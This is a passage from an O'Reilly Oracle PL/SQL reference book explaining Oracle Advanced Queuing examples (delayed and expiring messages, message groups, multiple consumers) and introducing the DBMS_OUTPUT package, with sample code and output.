   sale.mark_for_sale ('Mr. Math', 12.95,
      seconds_from_now (120), seconds_from_now (180));

   show_sales_status ('Captain Planet');
   show_sales_status ('Mr. Math');

   DBMS_LOCK.SLEEP (30);
   DBMS_OUTPUT.PUT_LINE ('Slept for 30 seconds.');
   show_sales_status ('Captain Planet');
   show_sales_status ('Mr. Math');

   sale.show_expired_sales;

   DBMS_LOCK.SLEEP (100);
   DBMS_OUTPUT.PUT_LINE ('Slept for 100 seconds.');
   show_sales_status ('Captain Planet');
   show_sales_status ('Mr. Math');

   sale.show_expired_sales;

   DBMS_LOCK.SLEEP (70);
   DBMS_OUTPUT.PUT_LINE ('Slept for 70 seconds.');
   show_sales_status ('Captain Planet');
   show_sales_status ('Mr. Math');
END;
/

Here is the output from this test script (I insert my comments between chunks of output to explain their significance):

Start test at 12:42:57

The next four lines come from sale.mark_for_sale and show how the start and end dates were converted to seconds for delay and expiration. As you start using this technology, I strongly suggest that you encapsulate your date-time computations inside a wrapper like seconds_from_now so that you can keep it all straight.

Delayed for 30 seconds.
Expires after 20 seconds.
Delayed for 120 seconds.
Expires after 60 seconds.

I check the status of my sale items immediately, and neither is yet available at their sale price. The delay time is still in effect.

Captain Planet is not on sale at 12:42:58
Mr. Math is not on sale at 12:42:58

I put the program to sleep for 30 seconds and then check again. Now Captain Planet is on sale (the delay was only 30 seconds), but smart shoppers cannot pick up Mr. Math for that special deal.

Slept for 30 seconds.
Captain Planet is on sale at 12:43:28
Mr. Math is not on sale at 12:43:28

After another 100 seconds, Captain Planet is no longer on sale, but look at those copies of Mr. Math fly out the door!

Slept for 100 seconds.
Captain Planet is not on sale at 12:45:08
Mr. Math is on sale at 12:45:08

Why isn't Captain Planet on sale? The output from a call to sale.show_expired_sales makes it clear: the window of opportunity for that sale has closed, and the message has been "expired" into the exception queue.

Product              Price              Expired on
Captain Planet       $15.95             11/14/1997 12:42:57

After another 70 seconds, neither Captain Planet nor Mr. Math are on sale, and as you might expect, both appear on the exception queue:

Slept for 70 seconds.
Captain Planet is not on sale at 12:46:18
Mr. Math is not on sale at 12:46:18

Product              Price              Expired on
Captain Planet       $15.95             11/14/1997 12:42:57
Mr. Math             $12.95             11/14/1997 12:42:58

Yes, dear readers, these nifty Oracle AQ features do seem to work as documented!

Now let's examine the implementation of the programs in the sale package. Rather than reproduce the entire body in these pages, I will focus on the individual programs. You can find the full set of code in the aqtiming.spp file.

First, we have the sale.onsale function. This program returns TRUE if the specified product is currently available for dequeuing. Here is the code:

/* Filename on companion disk: aqtiming.spp */*
FUNCTION onsale (product_in IN VARCHAR2) RETURN BOOLEAN
IS
   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   obj sale_t;
BEGIN
   /* Take immediate effect; no commit required. */
   queueopts.wait := DBMS_AQ.NO_WAIT;
   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   /* Reset the navigation location to the first message. */
   queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;

   /* Dequeue in BROWSE. You never dequeue destructively. You let
      the Queue Monitor automatically expire messages and move them
      to the exception queue. */
   queueopts.dequeue_mode := DBMS_AQ.BROWSE;

   /* Retrieve only the message for this product. */
   queueopts.correlation := UPPER (product_in);

   /* Locate the entry by correlation identifier and return the object. */
   DBMS_AQ.DEQUEUE (c_queue, queueopts, msgprops, obj, g_msgid);

   RETURN obj.product IS NOT NULL;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      RETURN FALSE;
END;

This is a standard nondestructive dequeue operation. Notice that I use the correlation identifier to make sure that I attempt to dequeue a message only for this particular product. I also set navigation to "first message" to make sure I get the first message (in enqueue time) for the product. In this case, I do not return any of the sale information. Instead, I return TRUE if I found a non-NULL product in the dequeued object. If I timeout trying to retrieve a message, I return FALSE.

Of course, I need to be able to put a product on sale. I do that with the sale.mark_for_sale procedure.

/* Filename on companion disk: aqtiming.spp */*
PROCEDURE mark_for_sale
   (product_in IN VARCHAR2,
    price_in IN NUMBER,
    starts_on IN DATE,
    ends_on IN DATE)
IS
   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
   sale_obj sale_t;

BEGIN
   /* Calculate the delay number of seconds and the expiration in same terms */
   msgprops.delay := GREATEST (0, starts_on - SYSDATE) * 24 * 60 * 60;
   msgprops.expiration := GREATEST (0, ends_on - starts_on) * 24 * 60 * 60;

   DBMS_OUTPUT.PUT_LINE
      ('Delayed for ' || msgprops.delay || ' seconds.');
   DBMS_OUTPUT.PUT_LINE
      ('Expires after ' ||  msgprops.expiration || ' seconds.');

   /* Don't wait for a commit. */
   queueopts.visibility := DBMS_AQ.IMMEDIATE;

   /* Set the correlation identifier for this message to the product. */
   msgprops.correlation := UPPER (product_in);

   /* Specify a non-default exception queue. */
   msgprops.exception_queue := c_exc_queue;

   /* Set up the object. */
   sale_obj := sale_t (product_in, price_in);

   DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, sale_obj, g_msgid);
END;

This procedure is a wrapper around the enqueue operation. First I convert the start and end dates to numbers of seconds for the delay and expiration field values, and I display those values for debugging purposes.

Then I set the other characteristics of the enqueue. Most importantly, I set the correlation ID so that I can look just for this product later in my dequeue operation (shown in the sale.onsale function), and I specify an alternate exception queue just for expired sales messages.

Finally, I include a program to show me the contents of my exception queue. The sale.show_expired_sales is interesting because it combines two different elements of Oracle AQ: use of the operational interface (the dequeue program) and direct access against the data dictionary view. I execute a cursor FOR loop against AQ$sale_qtable, which is the underlying database table created by Oracle AQ to hold messages for all queues in this queue table. Notice that I request only those rows in the exception queue I specified in sale.mark_for_sale. I retrieve the message ID and then I dequeue explicitly for that message ID. Why do I do this? When a message is moved to the exception queue, its message state is set to EXPIRED. I cannot dequeue a message in this state using normal navigation.

/* Filename on companion disk: aqtiming.spp */*
PROCEDURE show_expired_sales
IS
   obj sale_t;

   v_msgid aq.msgid_type;

   CURSOR exp_cur
   IS
      SELECT msg_id
        FROM AQ$sale_qtable
       WHERE queue = c_exc_queue
       ORDER BY enq_time;

   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
BEGIN
   FOR exp_rec IN exp_cur
   LOOP
      /* Non-destructive dequeue by explicit message ID. */
      queueopts.dequeue_mode := DBMS_AQ.BROWSE;
      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;
      queueopts.msgid := exp_rec.msg_id;

      DBMS_AQ.DEQUEUE (c_exc_queue, queueopts, msgprops, obj, v_msgid);

      IF exp_cur%ROWCOUNT = 1
      THEN
         DBMS_OUTPUT.PUT_LINE (
            RPAD ('Product', 21) || RPAD ('Price', 21) || 'Expired on');
      END IF;

      DBMS_OUTPUT.PUT_LINE (
         RPAD (obj.product, 21) ||
         RPAD (TO_CHAR (obj.sales_price, '$999.99'), 21) ||
         TO_CHAR (msgprops.enqueue_time, 'MM/DD/YYYY HH:MI:SS'));
   END LOOP;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      NULL;
END;

The range of possible behaviors for enqueue and dequeue operations is truly remarkable. However, this flexibility has its dark side: it can take a lot of experimentation and playing around to get your code to work just the way you want it to. It took me several hours, for example, to put together, debug, test, and think about the sale package in aqtiming.spp before it all came together. Try not to get too frustrated, and take things a step at a time, so you are always working from sure footing in terms of your understanding of AQ and your program's behavior.

5.7.7 Working with Message Groups

In some cases, you may wish to combine multiple messages into a single "logical" message. For example, suppose that you were using AQ to manage workflow on invoices. An invoice is a complex data structure with a header row (or object), multiple line item rows (or objects), and so forth. If you were up and running on a fully object-oriented implementation in Oracle8, you might easily have a single object type to encapsulate that information. On the other hand, what if your invoice information is spread over numerous objects and you just don't want to have to restructure them or create a single object type to hold that information for purposes of queueing? And on yet another hand, what if you want to make sure that when a consumer process dequeues the header invoice information, it also must dequeue all of the related information?

Simply set up your queue to treat all messages queued in your own logical transaction as a single message group. Once you have done this, a message is not considered by AQ to be dequeued until all the messages contained in the same group have been dequeued.

5.7.7.1 Enqueuing messages as a group

Let's walk through the different steps necessary to group messages logically, and then we'll explore the consequences in the way that the dequeue operation works. This section will cover these steps:

  • Creating a queue table that will support message grouping

  • Enqueuing messages within the same transaction boundary

5.7.7.1.1 Step 1. Create a queue table that will support message grouping

To do this, you simply override the default value for the message_grouping argument in the call to DBMS_AQADM.CREATE_QUEUE_TABLE with the appropriate packaged constant as follows:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'msg_with_grouping',
       queue_payload_type => 'message_type',
       message_grouping => DBMS_AQADM.TRANSACTIONAL);

   /* Now I will create and start a queue to use in the next example. */
   DBMS_AQ.CREATE_QUEUE ('classes_queue', 'msg_with_grouping');
   DBMS_AQ.START_QUEUE ('classes_queue');
END;
/

One thing to note immediately is that all of the different messages in the queue must be of the same type, even though they may potentially hold different kinds, or levels, of information.

5.7.7.1.2 Step 2. Enqueue messages within the same transaction boundary

However, your queue table is enabled to store and treat messages as a group. You must still make sure that when you perform the enqueue operation, all messages you want in a group are committed at the same time.

This means that you should never specify DBMS_AQ.IMMEDIATE for the visibility of your enqueue operation in a message group-enabled queue. Instead, you should rely on the DBMS_AQ.ON_COMMIT visibility mode. This mode ensures that all messages will be processed as a single transaction, giving AQ the opportunity to assign the same transaction ID to all the messages in that group.

Here is an example of an enqueue operation loading up all the classes for a student as a single message group:

PROCEDURE semester_to_queue (student_in IN VARCHAR2)
IS
   CURSOR classes_cur
   IS
      SELECT classyear, semester, class
        FROM semester_class
       WHERE student = student_in;

   queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;

   v_msgid aq.msgid_type;
   class_obj semester_class_t;

BEGIN
   /* This is the default, but let's make sure! */
   queueopts.visibility := DBMS_AQ.ON_COMMIT;

   FOR rec IN classes_cur
   LOOP
      class_obj := semester_class_t (student_in, rec.class, rec.semester);
      DBMS_AQ.ENQUEUE
         ('classes_queue', queueopts, msgprops, class_obj, v_msgid);
   END LOOP;

   /* Now commit as a batch to get the message grouping. */
   COMMIT;
END;

And that's all it takes to make sure that messages are treated as a group: enable the queue when you create the queue table, and make sure that all messages are committed together.

When you work with message groups, you'll find that you will almost always be using PL/SQL loops to either enqueue the set of messages as a group or dequeue all related messages.

Now let's take a look at the dequeuing side of message group operations.

5.7.7.2 Dequeuing messages when part of a group

To give you a full sense of the code involved, I will shift from individual programs to a package. Suppose that I want to place in a queue (as a single group) all of the classes for which a student is enrolled (that is, the semester_to_queue procedure shown in the previous section). But I also want to display (and simultaneously dequeue) the contents of that queue for each student. I can take advantage of the message grouping feature to do this.

Here is the specification of the package:

/* Filename on companion disk: aqgroup.spp */*
CREATE OR REPLACE PACKAGE schedule_pkg
IS
   PROCEDURE semester_to_queue (student_in IN VARCHAR2);

   PROCEDURE show_by_group;
END;
/

The aqgroup.ins file creates the data needed to demonstrate the functionality of the schedule_pkg package. I will not repeat the implementation of semester_to_queue; instead, let's focus on the code you have to write to dequeue grouped messages in the show_by_group procedure.

PROCEDURE show_by_group
IS
   obj semester_class_t;
   v_msgid aq.msgid_type;
   first_in_group BOOLEAN := TRUE;

   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
BEGIN
   /* Just dumping out whatever is in the queue, so no waiting. */
   queueopts.wait := DBMS_AQ.NO_WAIT;

   /* Start at the beginning of the queue, incorporating all enqueues. */
   queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;

   LOOP
      /* Local block to trap exception: end of group. */
      BEGIN
         DBMS_AQ.DEQUEUE (c_queue, queueopts, msgprops, obj, v_msgid);

         IF first_in_group
         THEN
            first_in_group := FALSE;

            DBMS_OUTPUT.PUT_LINE
               ('Schedule for ' || obj.student ||
                ' in semester ' || obj.semester);
         END IF;

         DBMS_OUTPUT.PUT_LINE ('*   ' || obj.class);

         /* Navigate to the next message in the group. */
         queueopts.navigation := DBMS_AQ.NEXT_MESSAGE;

      EXCEPTION
         WHEN aq.end_of_message_group
         THEN
            /* Throw out a break line. */
            DBMS_OUTPUT.PUT_LINE ('*****');

            /* Move to the next student. */
            queueopts.navigation := DBMS_AQ.NEXT_TRANSACTION;

            /* Set header flag for new student. */
            first_in_group := FALSE;
      END;
   END LOOP;
EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      /* No more students, no more message groups. */
      NULL;
END;

5.7.8 Working with Multiple Consumers

In the simpler schemes of queueing, one producer puts a message on a queue and another agent, a consumer, retrieves that single message from a queue. A common variant of this process follows a broadcasting model, where a producer enqueues a message with the intention of distributing that message to many consumers. Oracle AQ allows you to perform this kind of broadcast in two different ways:[1]

[1] Prior to Oracle AQ, the DBMS_ALERT package already supported this broadcast mechanism; I would not be surprised to find that DBMS_ALERT is redesigned to use AQ in a future release.

  • Define a default subscriber list for a queue. Then any message that is placed on that queue is available for dequeuing by any of the agents in that subscriber list.

  • Specify an "override" recipient list when you enqueue a specific message to the queue, by assigning a list (index-by table) of recipients to the recipient_list field of the message properties record.

In both of these cases, you must have defined the queue table in which your queue is defined to support multiple consumers. Here is an example of the creation of a queue table that supports multiple consumers:

BEGIN
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'msg',
       queue_payload_type => 'message_type',
       multiple_consumers => TRUE);
END;
/

Let's take a look at the different steps involved in using both the default subscriber list and the override recipient list. Suppose that in my student registration and management system, I want to define a default set of subscribers who are to receive notification of a student's change in major_pkg. When the student changes his or her major from mathematics or philosophy to business, however, notification is sent to the school psychologist and the professor of ethics.

I will demonstrate these techniques by constructing incrementally a package that supports the change-major operation.

5.7.8.1 Using the subscriber list

The default application behavior is to send out the major change notification to the president of the school and the single guidance counselor (it's a small place). I could just hard-code this logic into my programs, but instead, I will build a more flexible, encapsulated interface for this action and then deploy it for those two people.

First, I must create an object type to use in my queue. (All the elements of these initialization steps, including the creation of the queue table, can be found in the file aqmult.ins.)

CREATE TYPE student_major_t IS OBJECT
   (student VARCHAR2(30),
    major VARCHAR2(100));
/

I then create a queue table and queue based on this object type. Notice the specification of a multiple consumers queue:

/* Filename on companion disk: aqmult.ins */*
BEGIN
   /* Create the queue table and queue for multiple consumers. */
   DBMS_AQADM.CREATE_QUEUE_TABLE
      (queue_table => 'major_qtable',
       queue_payload_type => 'student_major_t',
       multiple_consumers => TRUE);

 DBMS_AQADM.CREATE_QUEUE ('major_queue', 'major_qtable');

   DBMS_AQADM.START_QUEUE ('major_queue');
END;
/

Now I can construct my package. Here is the specification:

/* Filename on companion disk: aqmult1.spp */*
CREATE OR REPLACE PACKAGE major_pkg
IS
   PROCEDURE add_reviewer (name_in IN VARCHAR2);

   PROCEDURE change_it_again
      (student_in IN VARCHAR2, new_major_in IN VARCHAR2);
END major_pkg;
/

So at this point, I can add a reviewer to the queue; this is a person who is to be notified by default of any major changes. I can also change the major of a student. Let's look at how I would use these programs. First of all, I need to specify the default reviewers:

/*Filename on companion disk: aqmult2.ins */*
BEGIN
   major_pkg.add_reviewer ('President Runtheshow');
   major_pkg.add_reviewer ('Counselor Twocents');
END;
/

Now that my main subscribers are in place, I can change the major of a student and rest assured that entries will be made in the queue for all the people who need to know.

SQL> exec major_pkg.change_it_again ('Steven Feuerstein', 'Biology');

Wait a minute! That's not what I want -- I want to study the English language!

SQL> exec major_pkg.change_it_again ('Steven Feuerstein', 'English');

And so on. We're about to get into more detailed scenarios for both construction and testing, so I added the following steps to my installation script, aqmult.ins:

CREATE TABLE student_intention
   (name VARCHAR2(30),
    ssn CHAR(11),
    major_study VARCHAR2(100));

BEGIN
   INSERT INTO student_intention VALUES
      ('Steven Feuerstein', '123-45-6789', 'Mathematics');
   INSERT INTO student_intention VALUES
      ('Eli Feuerstein', '123-45-6780', 'Philosophy');
   INSERT INTO student_intention VALUES
      ('Veva Feuerstein', '123-45-6781', 'Pottery');
   INSERT INTO student_intention VALUES
      ('Chris Feuerstein', '123-45-6782', 'Art');
   COMMIT;
END;
/

You should run this script before playing around with aqmult2.spp or aqmult3.spp (the last two iterations in this exercise), described in the following code examples.

Now, each time I change my major (or someone else's), a message is written to the queue. By default, each message is read by two subscribers, the president and the guidance counselor. The way Oracle AQ works is that a message is not considered dequeued (and therefore removed, assuming that you are dequeuing in the default destructive mode) until all consumers specified by the subscriber list or the override recipients list have dequeued that message. You request messages for which you are a subscriber or a recipient by setting the appropriate value in the dequeue options consumer name field.

Here is how the process might work for our ever-changing student majors: each morning, the executive assistant of the president connects to the system and pulls out a report of any students who changed their major yesterday. Here is a procedure that might do this:

/* Filename on companion disk: aqmult2.spp */*
PROCEDURE show_changers_to (curious_in IN VARCHAR2)
IS
   obj student_major_t;
   v_msgid aq.msgid_type;

   queueopts DBMS_AQ.DEQUEUE_OPTIONS_T;
   msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;

   first_dequeue BOOLEAN := TRUE;
BEGIN
   queueopts.consumer_name := curious_in;

   /* Loop through the contents of the queue looking for
      matches on the specified recipient name. */
   LOOP
      /* Non-destructive dequeue */
      queueopts.wait := DBMS_AQ.NO_WAIT;
      queueopts.navigation := DBMS_AQ.FIRST_MESSAGE;
      queueopts.visibility := DBMS_AQ.IMMEDIATE;

      DBMS_AQ.DEQUEUE (queue_name => c_queue,
         dequeue_options => queueopts,
         message_properties => msgprops,
         payload => obj,
         msgid => v_msgid);

      IF first_dequeue
      THEN
         DBMS_OUTPUT.PUT_LINE
            ('Changed Majors on ' || TO_CHAR (SYSDATE-1));
         first_dequeue := FALSE;
      END IF;

      DBMS_OUTPUT.PUT_LINE (
         obj.student || ' changed major to ' || obj.major);
   END LOOP;

EXCEPTION
   WHEN aq.dequeue_timeout
   THEN
      NULL;
END;

This is a typical destructive dequeue operation, except that it will dequeue the message only if the specified curious person is in the default subscription list or is specified in a recipient list an enqueue time.

The following script demonstrates how this technology all works together:

/* Filename on companion disk: aqmult2.tst */*
BEGIN
   major_pkg.change_it_again ('Steven Feuerstein', 'Philosophy');
   major_pkg.change_it_again ('Veva Feuerstein', 'English');
   major_pkg.change_it_again ('Eli Feuerstein', 'Strategic Analysis');

   COMMIT;

   major_pkg.show_changers_to ('President Runtheshow');
END;
/

And here is the output from that script:

SQL> @aqmult2.tst
Changed Majors on 23-NOV-97
Steven Feuerstein changed major to Philosophy
Veva Feuerstein changed major to English
Eli Feuerstein changed major to Strategic Analysis

5.7.8.2 Overriding with a recipient list

Now let's add some code to the package to support the special logic for changing from math or philosophy to a business degree. (Surely we have enough MBAs in the world already!) I need to make changes to the change_it_again procedure. You will find this third iteration in the aqmult3.spp file.

In this final version, I need to find out what the current major is for my student, so that I can compare it to the new choice and see if it triggers my rule to notify two different nosey-bodies at the school. I could simply drop that query into the change_it_again procedure, but that practice leads to redundant coding of SQL statements in my application -- a serious no-no. I will surely want to fetch the major of a student in more than one place, so I should put that specific action inside a standard lookup function, which is shown here as a fragment of the major package:

/* Filename on companion disk: aqmult3.spp */*
CREATE OR REPLACE package body major_pkg
IS
   /* Just showing this new part of the package. */
   FUNCTION current_choice (student_in IN VARCHAR2) RETURN VARCHAR2
   IS
      CURSOR maj_cur
      IS
         SELECT major_study
           FROM student_intention
          WHERE name = student_in;
      maj_rec maj_cur%ROWTYPE;
   BEGIN
      OPEN maj_cur;
      FETCH maj_cur INTO maj_rec;
      RETURN maj_rec.major_study;
   END;

END major_pkg;
/

The sharp reader will no doubt also point out that I have embedded an UPDATE statement inside the change_it_again procedure as well. True. That should be converted into a procedure with a name like major_pkg.upd_major_study. I will leave that exercise for the reader.

Now I can use this current_choice function inside my upgraded change_it_again, as shown in the next code listing. First, an explanation: I declare a recipient list (which is actually an index-by table) to hold the school psychologist and the professor of ethics -- if needed. Then before I update the major, I retrieve the current choice using that function. After the update, I see if the condition is met. If so, I define two rows in the recipient list and assign that list to the recipient_list field of the message properties record. I then perform the same enqueue operation as before.

   PROCEDURE change_it_again
      (student_in IN VARCHAR2, new_major_in IN VARCHAR2)
   IS
      queueopts DBMS_AQ.ENQUEUE_OPTIONS_T;
      msgprops DBMS_AQ.MESSAGE_PROPERTIES_T;
      major_obj major_t;
      those_who_need_to_know DBMS_AQ.AQ$_RECIPIENT_LIST_T;
   BEGIN
      /* What is the current major? */
      v_major := current_choice (student_in);

      /* Update the database table. */
      UPDATE student_intention
         SET major_study = new_major_in
       WHERE name = student_in;

      /* IF changing from math or philosophy to business,
         build a special recipient list and add that to
         the enqueue operation. */
      IF v_major IN (c_philosophy, c_mathematics) AND
         new_major_in = c_business
      THEN
         /* Notify the school psychologist and professor of ethics. */
         those_who_need_to_know (1) := SYS.AQ$_AGENT ('Doctor Baddreams');
         those_who_need_to_know (1) := SYS.AQ$_AGENT ('Doctor Whatswrong);

         msgprops.recipient_list := those_who_need_to_know;
      END IF;

      /* Put a message on the queue so that everyone is
         properly notified. Notice I will coordinate visibility
         of this message with a COMMIT of the entire transaction.*/
      queueopts.visibility := DBMS_AQ.ON_COMMIT;

      /* Populate the object. */
      major_obj := student_major_t (student_in, new_major_in);

      DBMS_AQ.ENQUEUE (c_queue, queueopts, msgprops, major_obj, g_msgid);
   END;

The following script shows how the package now will automatically notify all of the right parties:

/* Filename on companion disk: aqmult3.tst */*
DECLARE
   prez VARCHAR2(100) := 'President Runtheshow';
   counselor VARCHAR2(100) := 'Counselor Twocents';
   psych_dr VARCHAR2(100) := 'Doctor Baddreams';
   ethics_prof VARCHAR2(100) := 'Professor Whatswrong';
BEGIN
   major_pkg.change_it_again ('Steven Feuerstein', 'Philosophy');
   major_pkg.change_it_again ('Veva Feuerstein', 'English');

   major_pkg.show_changes_to (prez);
   major_pkg.show_changes_to (psych_dr);

   major_pkg.change_it_again ('Steven Feuerstein', major_pkg.c_business);
   major_pkg.change_it_again ('Veva Feuerstein', major_pkg.c_philosphy);

   major_pkg.show_changes_to (counselor);
   major_pkg.show_changes_to (ethics_prof);
END;
/

Here is the output from the execution of this script:

SQL> @aqmult3.tst
Showing to President Runtheshow Majors Changed on 23-NOV-97
Steven Feuerstein changed major to Philosophy
Veva Feuerstein changed major to English

Showing to Counselor Twocents Majors Changed on 23-NOV-97
Steven Feuerstein changed major to Philosophy
Veva Feuerstein changed major to English
Veva Feuerstein changed major to Philosophy

Showing to Professor Whatswrong Majors Changed on 23-NOV-97
Steven Feuerstein changed major to Business

As you should be able to tell from this section's examples, it's not terribly difficult to set up a queue table for multiple consumers. Nor is it hard to define lists of subscribers and recipients. You must remember, however, to set the message properties consumer name field to retrieve a message for a given agent. And you should remember that the message will stay queued until all agents who have access to that message have performed their dequeue (or, for some reason, the message is moved to the exception queue).

Previous: 5.6 Oracle AQ Database Objects | Oracle Built-in Packages | Next: 6. Generating Output from PL/SQL Programs
5.6 Oracle AQ Database Objects | Book Index | 6. Generating Output from PL/SQL Programs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] Generating Output from PL/SQL Programs

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 5.7 Oracle AQ Examples Chapter 6 Next: 6.2 UTL_FILE: Reading and Writing Server-side Files

6. Generating Output from PL/SQL Programs

Contents:
DBMS_OUTPUT: Displaying Output
UTL_FILE: Reading and Writing Server-side Files

The built-in packages offer a number of ways to generate output from within your PL/SQL program. While updating a database table is, of course, a form of "output" from PL/SQL, this chapter shows you how to use two packages that explicitly generate output. UTL_FILE reads and writes information in server-side files, and DBMS_OUTPUT displays information to your screen.

6.1 DBMS_OUTPUT: Displaying Output

DBMS_OUTPUT provides a mechanism for displaying information from your PL/SQL program on your screen (your session's output device, to be more specific). As such, it serves as just about the only immediately accessible (meaning "free with PL/SQL") means of debugging your PL/SQL stored code.[1] It is certainly your "lowest common denominator" debugger, similar to the used-and-abused MESSAGE built-in of Oracle Forms. DBMS_OUTPUT is also the package you are most likely to use to generate reports from PL/SQL scripts run in SQL*Plus.

[1] As this book is going to press, the following PL/SQL debuggers are now available: SQL-Station Debugger from Platinum Technology; SQL Navigator from Quest; Xpediter/SQL from Compuware; and Procedure Builder from Oracle Corporation.

Of all the built-in packages, the DBMS_OUTPUT package (and its PUT_LINE procedure, in particular) is likely to be the one you will find yourself using most frequently. You may therefore find it strange that I never call DBMS_OUTPUT.PUT_LINE. I find the design and functionality of DBMS_OUTPUT to be substandard and very frustrating.

In fact, I recommend that you never use this package -- at least, not directly. You should instead encapsulate calls to DBMS_OUTPUT (and the PUT_LINE procedure, in particular) inside a package of your own construction. This technique is discussed in the Section 6.1.6, "DBMS_OUTPUT Examples"" section later in this chapter.

6.1.1 Getting Started with DBMS_OUTPUT

The DBMS_OUTPUT package is created when the Oracle database is installed. The dbmsoutp.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by the catproc.sql script, which is normally run immediately after database creation. The script creates the public synonym DBMS_OUTPUT for the package. Instance-wise access to this package is provided on installation, so no additional steps should be necessary in order to use DBMS_OUTPUT. As far as package usage is concerned, you will almost always be using only the DBMS_OUTPUT.PUT_LINE procedure and only in SQL*Plus. The section Section 6.1.2, "Enabling and Disabling Output"" later in this chapter shows how you set up DBMS_OUTPUT for use in SQL*Plus.

6.1.1.1 DBMS_OUTPUT programs

Table 6-1 shows the DBMS_OUTPUT program names and descriptions.

Table 6.1: DBMS_OUTPUT Programs
Name | Description | Use in SQL?
DISABLE | Disables output from the package; the DBMS_OUTPUT buffer will not be flushed to the screen | Yes
ENABLE | Enables output from the package | Yes
GET_LINE | Gets a single line from the buffer | Yes
GET_LINES | Gets specified number of lines from the buffer and passes them into a PL/SQL table | Yes
NEW_LINE | Inserts an end-of-line mark in the buffer | Yes
PUT | Puts information into the buffer | Yes
PUT_LINE | Puts information into the buffer and appends an end-of-line marker after that data | Yes

NOTE: All procedures in DBMS_OUTPUT have been enabled for indirect usage in SQL (that is, they can be called by a function that is then executed in a SQL statement), but only for Oracle 7.3 and later.

6.1.1.2 DBMS_OUTPUT concepts

Each user has a DBMS_OUTPUT buffer of up to 1,000,000 bytes in size. Write information to this buffer by calling the DBMS_OUTPUT.PUT and DBMS_OUTPUT.PUT_LINE programs. If you are using DBMS_OUTPUT from within SQL*Plus, this information will be displayed automatically when your program terminates. You can (optionally) explicitly retrieve information from the buffer with calls to DBMS_OUTPUT.GET and DBMS_OUTPUT.GET_LINE.

The DBMS_OUTPUT buffer can be set to a size between 2,000 and 1,000,000 bytes with the DBMS_OUTPUT.ENABLE procedure. If you do not enable the package, no information will be displayed or be retrievable from the buffer.

The buffer stores three different types of data -- VARCHAR2, NUMBER, and DATE -- in their internal representations. These types match the overloading available with the PUT and PUT_LINE procedures. Note that DBMS_OUTPUT does not support Boolean data in either its buffer or its overloading of the PUT procedures.

The following anonymous PL/SQL block uses DBMS_OUTPUT to display the name and salary of each employee in department 10:

DECLARE
   CURSOR emp_cur
   IS
      SELECT ename, sal
        FROM emp
       WHERE deptno = 10
       ORDER BY sal DESC;
BEGIN
   FOR emp_rec IN emp_cur
   LOOP
      DBMS_OUTPUT.PUT_LINE
         ('Employee ' || emp_rec.ename || ' earns ' ||
          TO_CHAR (emp_rec.sal) || ' dollars.');
   END LOOP;
END;
/

This program generates the following output when executed in SQL*Plus:

Employee KING earns 5000 dollars.
Employee SCOTT earns 3000 dollars.
Employee JONES earns 2975 dollars.
Employee ADAMS earns 1100 dollars.
Employee JAMES earns 950 dollars.

6.1.1.3 DBMS_OUTPUT exceptions

DBMS_OUTPUT does not contain any declared exceptions. Instead, Oracle designed the package to rely on two error numbers in the -20 NNN range (usually reserved for Oracle customers). You may, therefore, encounter one of these two exceptions when using the DBMS_OUTPUT package (no names are associated with these exceptions).

The -20000 error number indicates that these package-specific exceptions were raised by a call to RAISE_APPLICATION_ERROR, which is in the DBMS_STANDARD package.

-20000

ORU-10027: buffer overflow, limit of <buf_limit> bytes.

If you receive the -10027 error, you should see if you can increase the size of your buffer with another call to DBMS_OUTPUT.ENABLE.

-20000

ORU-10028: line length overflow, limit of 255 bytes per line.

If you receive the -10028 error, you should restrict the amount of data you are passing to the buffer in a single call to PUT_LINE, or in a batch of calls to PUT followed by NEW_LINE.

You may also receive the ORA-06502 error:

ORA-06502

Numeric or value error.

If you receive the -06502 error, you have tried to pass more than 255 bytes of data to DBMS_OUTPUT.PUT_LINE. You must break up the line into more than one string.

6.1.1.4 DBMS_OUTPUT nonprogram elements

The DBMS_OUTPUT package defines a PL/SQL table TYPE as follows:

TYPE chararr IS TABLE OF VARCHAR2(255) INDEX BY BINARY_INTEGER;

The DBMS_OUTPUT.GET_LINES procedure returns its lines in a PL/SQL table of this type.

6.1.1.5 Drawbacks of DBMS_OUTPUT

Before learning all about this package, and rushing to use it, you should be aware of several drawbacks with the implementation of this functionality:

  • The "put" procedures that place information in the buffer are overloaded only for strings, dates, and numbers. You cannot request the display of Booleans or any other types of data. You cannot display combinations of data (a string and a number, for instance), without performing the conversions and concatentations yourself.

  • You will see output from this package only after your program completes its execution. You cannot use DBMS_OUTPUT to examine the results of a program while it is running. And if your program terminates with an unhandled exception, you may not see anything at all!

  • If you try to display strings longer than 255 bytes, DBMS_OUTPUT will raise a VALUE_ERROR exception.

  • DBMS_OUTPUT is not a strong choice as a report generator, because it can handle a maximum of only 1,000,000 bytes of data in a session before it raises an exception.

